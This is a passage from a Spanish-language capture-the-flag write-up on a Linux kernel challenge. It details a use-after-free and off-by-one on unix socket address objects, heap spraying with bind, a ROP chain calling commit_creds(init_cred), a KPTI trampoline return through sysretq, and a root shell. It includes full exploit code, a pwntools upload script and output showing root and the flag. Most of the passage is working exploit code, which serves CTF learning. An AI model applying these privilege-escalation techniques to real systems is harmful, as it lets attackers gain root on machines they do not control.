, que está 8 bytes por debajo:
__attribute__((no_stack_protector)) int __sys_getsockname(int fd, struct sockaddr __user *usockaddr,
int __user *usockaddr_len)
{
struct socket *sock;
struct sockaddr_storage address;
CLASS(fd, f)(fd);
int err;
// ...
}
Entonces, el offset es 0xa8
(21 * 8
):
Necesitamos usar bind
para conseguir el diseño anterior. El uso de objetos unix_address
de tamaño 0x18
no es muy útil porque algunas partes del valor de name
deben tener valores específicos de AF_UNIX
, por lo que la cadena ROP no funcionará. Sin embargo, podemos usar objetos unix_address
de mayor tamaño. Esto significa que debemos realizar el ataque de UAF otra vez para modificar el valor de len
…
Usando objetos unix_address
de tamaño 0x60
, podemos construir algo como:
Obsérvese que debemos partir la cadena ROP en trozos debido a len
, refcnt
y otros requisitos. Además, recordemos que el offset es con respecto al atributo name
del objeto UAF (el verde).
En realidad, la cadena de ROP final que utilicé requirió otro objeto más, y algunos gadgets especiales para evitar len
, refcnt
y los primeros 8 bytes de name
:
unsigned long init_cred = kbase + INIT_CRED_OFFSET;
unsigned long commit_creds = kbase + COMMIT_CREDS_OFFSET;
unsigned long ret = kbase + RET_OFFSET;
unsigned long pop_rcx_ret = kbase + POP_RCX_RET_OFFSET;
unsigned long pop_rdi_ret = kbase + POP_RDI_RET_OFFSET;
unsigned long pop_r12_pop_rbp_pop_rbx_ret = kbase + POP_R12_POP_RBP_POP_RBX_RET_OFFSET;
unsigned long kpti_trampoline = kbase + KPTI_TRAMPOLINE_OFFSET;
unsigned long long rop_chain1[] = {
pop_r12_pop_rbp_pop_rbx_ret,
};
unsigned long long rop_chain2[] = {
pop_rdi_ret,
init_cred,
commit_creds,
pop_rcx_ret,
(unsigned long) get_shell,
ret,
ret,
ret,
pop_r12_pop_rbp_pop_rbx_ret,
};
unsigned long long rop_chain3[] = {
kpti_trampoline,
0,
0,
0,
0,
0,
user_rsp,
};
struct sockaddr_un rop_payload1 = { .sun_family = AF_UNIX, .sun_path = { 0 } };
struct sockaddr_un rop_payload2 = { .sun_family = AF_UNIX, .sun_path = { 0 } };
struct sockaddr_un rop_payload3 = { .sun_family = AF_UNIX, .sun_path = { 0 } };
memcpy(rop_payload1.sun_path + 0x46, rop_chain1, sizeof(rop_chain1));
memcpy(rop_payload2.sun_path + 0x06, rop_chain2, sizeof(rop_chain2));
memcpy(rop_payload3.sun_path + 0x06, rop_chain3, sizeof(rop_chain3));
La cadena ROP básicamente llama a commit_creds(init_cred)
y luego usa el trampolín KPTI para regresar de manera segura a get_shell
en user-land.
Los gadgets ROP se pueden encontrar fácilmente usando ROPgadget
y luego grep
:
$ ROPgadget --all --range 0xffffffff81000000-0xffffffff82200000 --binary vmlinux > rop.txt
Para que el trampolín KPTI funcione, necesitamos encontrar la dirección de mov rdi, rsp
en entry_SYSCALL_64
(offset 0x1000168
):
gef> disassemble entry_SYSCALL_64
Dump of assembler code for function entry_SYSCALL_64:
0xffffffff82000080 <+0>: endbr64
...
0xffffffff82000168 <+232>: mov rdi,rsp
0xffffffff8200016b <+235>: mov rsp,QWORD PTR gs:[rip+0x7e005e91] # 0x6004 <cpu_tss_rw+4>
0xffffffff82000173 <+243>: push QWORD PTR [rdi+0x28]
0xffffffff82000176 <+246>: push QWORD PTR [rdi]
0xffffffff82000178 <+248>: jmp 0xffffffff820001bd <entry_SYSCALL_64+317>
0xffffffff8200017a <+250>: push rax
0xffffffff8200017b <+251>: mov rdi,cr3
0xffffffff8200017e <+254>: jmp 0xffffffff820001b2 <entry_SYSCALL_64+306>
0xffffffff82000180 <+256>: mov rax,rdi
0xffffffff82000183 <+259>: and rdi,0x7ff
0xffffffff8200018a <+266>: bt QWORD PTR gs:[rip+0x7e02c583],rdi # 0x2c716 <cpu_tlbstate+22>
0xffffffff82000193 <+275>: jae 0xffffffff820001a3 <entry_SYSCALL_64+291>
0xffffffff82000195 <+277>: btr QWORD PTR gs:[rip+0x7e02c578],rdi # 0x2c716 <cpu_tlbstate+22>
0xffffffff8200019e <+286>: mov rdi,rax
0xffffffff820001a1 <+289>: jmp 0xffffffff820001ab <entry_SYSCALL_64+299>
0xffffffff820001a3 <+291>: mov rdi,rax
0xffffffff820001a6 <+294>: bts rdi,0x3f
0xffffffff820001ab <+299>: or rdi,0x800
0xffffffff820001b2 <+306>: or rdi,0x1000
0xffffffff820001b9 <+313>: mov cr3,rdi
0xffffffff820001bc <+316>: pop rax
0xffffffff820001bd <+317>: pop rdi
0xffffffff820001be <+318>: pop rsp
0xffffffff820001bf <+319>: swapgs
0xffffffff820001c2 <+322>: nop
...
0xffffffff820001c8 <+328>: nop
0xffffffff820001c9 <+329>: sysretq
0xffffffff820001cc <+332>: int3
End of assembler dump.
En Learning Linux Kernel Exploitation - Part 1, se explica cómo usar iretq
para volver a user-land. Intenté usar este método de iretq
con la función swapgs_restore_regs_and_return_to_usermode
pero no conseguí que funcionara por alguna razón. Por lo tanto, decidí usar sysretq
mediante entry_SYSCALL_64
, que dicen que es más complicado… Encontré más información sobre los bypasses de KPTI en Kernel page table isolation (KPTI), donde encontré el código fuente de entry_SYSCALL_64
. Al final, encontré un método que funcionaba con sysretq
en Learning Linux kernel exploitation - Part 1 - Laying the groundwork. Es suficiente establecer la dirección de user-land a la que queremos regresar en $rcx
y colocar una dirección del stack de user-land a seis espacios del trampolín KPTI.
Una vez que hayamos definido las piezas de la cadena ROP, debemos explotar nuevamente el UAF y colocar los objetos unix_address
que contienen la cadena ROP justo debajo del objeto UAF (en la etapa anterior, aquí pusimos una estructura seq_operations
):
for (int i = 0; i < 200; i++) {
spray[i] = socket(AF_UNIX, SOCK_STREAM, 0);
char buf[8] = { 0 };
sprintf(buf, "b%d", i);
do_bind(spray[i], buf, 0x58 - 1);
}
int rop1 = socket(AF_UNIX, SOCK_STREAM, 0);
int rop2 = socket(AF_UNIX, SOCK_STREAM, 0);
int rop3 = socket(AF_UNIX, SOCK_STREAM, 0);
s1 = socket(AF_UNIX, SOCK_STREAM, 0);
s2 = socket(AF_UNIX, SOCK_STREAM, 0);
s3 = socket(AF_UNIX, SOCK_STREAM, 0);
s4 = socket(AF_UNIX, SOCK_STREAM, 0);
client_fd = socket(AF_UNIX, SOCK_STREAM, 0);
do_bind(s1, "DDDD", 0x58 - 1);
do_bind(s2, "EEEE", 0x58 - 1);
if (bind(rop1, (struct sockaddr*) &rop_payload1, 0x58) < 0) {
perror("bind");
exit(1);
}
if (bind(rop2, (struct sockaddr*) &rop_payload2, 0x58) < 0) {
perror("bind");
exit(1);
}
if (bind(rop3, (struct sockaddr*) &rop_payload3, 0x58) < 0) {
perror("bind");
exit(1);
}
do_listen(s2);
do_connect(client_fd, "EEEE", 0x58 - 1);
// refcnt = 2
accept_fd = do_accept(s2);
close(s1);
socket(AF_UNIX, SOCK_STREAM, 0);
memset(&addr, '\x01', sizeof(struct sockaddr_un));
addr.sun_path[0] = '\0';
addr.sun_path[1] = '\x02';
addr.sun_family = AF_UNIX;
// fill stack with '\x01'
if (bind(s3, (struct sockaddr*) &addr, sizeof(struct sockaddr_un)) < 0) {
perror("bind");
exit(1);
}
// off-by-one (hopefully '\x01')
// refcnt = 1
do_bind(s4, "FFFF", 0x58);
// refcnt = 0 -> kfree
close(client_fd);
close(accept_fd);
socket(AF_UNIX, SOCK_STREAM, 0);
do_getsockname(s2, &leak);
kheap = *((unsigned long*) &leak + 5);
if (kheap == 0) {
puts("Exploit failed...");
exit(1);
}
printf("[*] kheap: 0x%lx\n", kheap);
puts("");
Si todo funciona correctamente, debemos obtener una fuga del heap del kernel, lo que significa que el ataque de UAF fue exitoso. Entonces, podemos usar setxattr
para modificar el valor de len
y así decirle a memcpy
en unix_getname
que copie nuestra cadena ROP en el stack del kernel. El offset es 0xa8
y nuestro payload de cadena ROP contiene 0x10 + 0x60 + 0x60 = 0xd0
bytes:
int payload2[24] = { 1, 0xa8 + 0xd0 };
setxattr("/proc/self/stat", "pwn", payload2, 0x60, 0);
do_getsockname(s2, &leak);
puts("[-] Oops...");
La última instrucción puts
no debe ejecutarse si el exploit tiene éxito.
Por último, pero no menos importante, esta es la función get_shell
y una función auxiliar save_state
para guardar el puntero del stack de user-land en la variable user_rsp
:
void get_shell() {
puts("[*] Returned to userland");
if (getuid() == 0) {
puts("[+] UID: 0, got root!\n");
execl("/bin/sh", "/bin/sh", NULL);
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(1);
}
}
unsigned long user_rsp;
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov user_rsp, rsp;"
".att_syntax;"
);
puts("[*] Saved state\n");
}
Con todo esto, llamamos con éxito a get_shell
:
$ bash go.sh
SeaBIOS (version 1.16.3-debian-1.16.3-2)
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+06FCAE00+06F0AE00 CA00
Booting from ROM...
~ # /solve
[*] Saved state
[*] kheap: 0xffff8880043fc4c0
[*] single_start: 0xffffffff812e33b0
[*] single_stop: 0xffffffff812e3400
[*] single_next: 0xffffffff812e33e0
[+] kbase: 0xffffffff81000000
[*] kheap: 0xffff888004438ae0
[*] Returned to userland
[+] UID: 0, got root!
~ #
Ahora es el momento de probar el exploit como un usuario de bajos privilegios y con KASLR habilitado:
$ bash go.sh
SeaBIOS (version 1.16.3-debian-1.16.3-2)
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+06FCAE00+06F0AE00 CA00
Booting from ROM...
~ $ /solve
[*] Saved state
[*] kheap: 0xffffa36601bff500
[*] single_start: 0xffffffff930e33b0
[*] single_stop: 0xffffffff930e3400
[*] single_next: 0xffffffff930e33e0
[+] kbase: 0xffffffff92e00000
[*] kheap: 0xffffa36601c48ae0
[*] Returned to userland
[+] UID: 0, got root!
~ #
¡Perfecto! Ya podemos probarlo en la instancia remota. Podemos usar el siguiente script en Python para subir el exploit compilado (y comprimido con xz
) a la instancia remota:
#!/usr/bin/env python3
from itertools import batched
from pwn import b64e, os, remote, sys
os.system('musl-gcc -static -s -o solve solve.c')
os.system('rm solve.xz 2>/dev/null')
os.system('xz solve')
with open('solve.xz', 'rb') as f:
solve_xz_b64 = b64e(f.read())
to_send = [f'echo {"".join(c)} >> /tmp/solve.xz.b64' for c in batched(solve_xz_b64, 80)]
host, port = sys.argv[1], sys.argv[2]
io = remote(host, port)
io.sendlineafter(b'~ $ ', '\n'.join(to_send).encode())
io.sendlineafter(b'~ $ ', b'base64 -d /tmp/solve.xz.b64 > /tmp/solve.xz')
io.sendlineafter(b'~ $ ', b'xz -d /tmp/solve.xz')
io.sendlineafter(b'~ $ ', b'chmod +x /tmp/solve')
io.sendlineafter(b'~ $ ', b'echo ready')
io.recvuntil(b'ready')
io.sendlineafter(b'~ $ ', b'/tmp/solve')
io.interactive(prompt='')
Flag
Con esto, podemos explotar el kernel en la instancia remota y encontrar la flag:
$ python3 solve.py dicec.tf 32069
[+] Opening connection to dicec.tf on port 32069: Done
[*] Switching to interactive mode
/tmp/solve
[*] Saved state
[*] kheap: 0xffff90b881c024e0
[*] single_start: 0xffffffffbd4e33b0
[*] single_stop: 0xffffffffbd4e3400
[*] single_next: 0xffffffffbd4e33e0
[+] kbase: 0xffffffffbd200000
[*] kheap: 0xffff90b881c429c0
[*] Returned to userland
[+] UID: 0, got root!
~ # cat /flag
cat /flag
dice{i_think_[https://en.wikipedia.org/wiki/List_of_oboists]_is_missing_your_name_<3}
El exploit completo se puede encontrar aquí: solve.c
.